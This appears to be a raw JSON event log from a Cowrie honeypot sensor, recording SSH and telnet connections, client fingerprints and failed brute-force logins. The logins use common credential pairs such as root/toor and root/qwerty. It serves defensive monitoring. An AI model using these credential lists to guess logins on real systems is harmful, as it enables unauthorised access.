{"eventid":"cowrie.login.failed","username":"bnb","password":"bnb999","message":"login attempt [bnb/bnb999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:01.146430Z","src_ip":"162.214.159.200","session":"40e33457a737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:02.525678Z","src_ip":"162.214.159.200","session":"40e33457a737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.74456930160522,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:08.118863Z","src_ip":"143.198.154.150","session":"c9eab5a906a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":18180,"dst_ip":"10.17.0.5","dst_port":22,"session":"185f8e8dce53","protocol":"ssh","message":"New connection: 194.59.206.2:18180 (10.17.0.5:22) [session: 185f8e8dce53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:19.903753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:19.908579Z","src_ip":"194.59.206.2","session":"185f8e8dce53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:19.997272Z","src_ip":"194.59.206.2","session":"185f8e8dce53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:20.091403Z","src_ip":"194.59.206.2","session":"185f8e8dce53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":58466,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8f69c30968d","protocol":"ssh","message":"New connection: 160.187.174.22:58466 (159.203.135.109:22) [session: f8f69c30968d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:22.879505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:23.066158Z","src_ip":"160.187.174.22","session":"f8f69c30968d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:23.110969Z","src_ip":"160.187.174.22","session":"f8f69c30968d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:23.899466Z","src_ip":"221.229.220.180","session":"1038e61bd309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:24.037361Z","src_ip":"160.187.174.22","session":"f8f69c30968d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:25.276121Z","src_ip":"160.187.174.22","session":"f8f69c30968d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":43482,"dst_ip":"10.17.0.5","dst_port":22,"session":"44b256483051","protocol":"ssh","message":"New connection: 144.91.108.61:43482 (10.17.0.5:22) [session: 44b256483051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:33.502393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:33.505825Z","src_ip":"144.91.108.61","session":"44b256483051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:33.598348Z","src_ip":"144.91.108.61","session":"44b256483051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpaca789","message":"login attempt [root/alpaca789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:33.875255Z","src_ip":"144.91.108.61","session":"44b256483051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:34.970002Z","src_ip":"144.91.108.61","session":"44b256483051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.35.200","src_port":41526,"dst_ip":"159.203.135.109","dst_port":22,"session":"f62b93596b10","protocol":"ssh","message":"New connection: 162.240.35.200:41526 (159.203.135.109:22) [session: f62b93596b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:43.002853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:43.006819Z","src_ip":"162.240.35.200","session":"f62b93596b10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:43.096505Z","src_ip":"162.240.35.200","session":"f62b93596b10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"T@1k0$M@st3r@P@ss","message":"login attempt [root/T@1k0$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:43.368602Z","src_ip":"162.240.35.200","session":"f62b93596b10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.164.175","src_port":43890,"dst_ip":"10.17.0.5","dst_port":22,"session":"6666f091ec7d","protocol":"ssh","message":"New connection: 138.197.164.175:43890 (10.17.0.5:22) [session: 6666f091ec7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:44.450919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:44.454789Z","src_ip":"138.197.164.175","session":"6666f091ec7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:44.471703Z","src_ip":"138.197.164.175","session":"6666f091ec7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"332211","message":"login attempt [root/332211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:44.575034Z","src_ip":"138.197.164.175","session":"6666f091ec7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:45.595033Z","src_ip":"138.197.164.175","session":"6666f091ec7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:45.925410Z","src_ip":"162.240.35.200","session":"f62b93596b10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":53766,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f25df899b4a","protocol":"ssh","message":"New connection: 160.187.174.22:53766 (159.203.135.109:22) [session: 0f25df899b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:51.521924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:51.526047Z","src_ip":"160.187.174.22","session":"0f25df899b4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:51.763930Z","src_ip":"160.187.174.22","session":"0f25df899b4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:52.847217Z","src_ip":"160.187.174.22","session":"0f25df899b4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:54.087933Z","src_ip":"160.187.174.22","session":"0f25df899b4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":37414,"dst_ip":"10.17.0.5","dst_port":22,"session":"0816bd9f85cc","protocol":"ssh","message":"New connection: 91.92.40.4:37414 (10.17.0.5:22) [session: 0816bd9f85cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:08.709568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:08.715719Z","src_ip":"91.92.40.4","session":"0816bd9f85cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:08.796596Z","src_ip":"91.92.40.4","session":"0816bd9f85cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pass","message":"login attempt [user/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:09.117207Z","src_ip":"91.92.40.4","session":"0816bd9f85cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:10.201387Z","src_ip":"91.92.40.4","session":"0816bd9f85cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":54290,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0e405a3f60d","protocol":"ssh","message":"New connection: 160.187.174.22:54290 (159.203.135.109:22) [session: c0e405a3f60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:19.896111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:19.905434Z","src_ip":"160.187.174.22","session":"c0e405a3f60d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:20.133680Z","src_ip":"160.187.174.22","session":"c0e405a3f60d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:21.080494Z","src_ip":"160.187.174.22","session":"c0e405a3f60d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:22.319165Z","src_ip":"160.187.174.22","session":"c0e405a3f60d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41392,"dst_ip":"159.203.135.109","dst_port":23,"session":"86a3d5a18eb0","protocol":"telnet","message":"New connection: 170.64.224.25:41392 (159.203.135.109:23) [session: 86a3d5a18eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:40.425545Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":49620,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbfaf52fcf29","protocol":"ssh","message":"New connection: 160.187.174.22:49620 (159.203.135.109:22) [session: bbfaf52fcf29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:49.459103Z"}
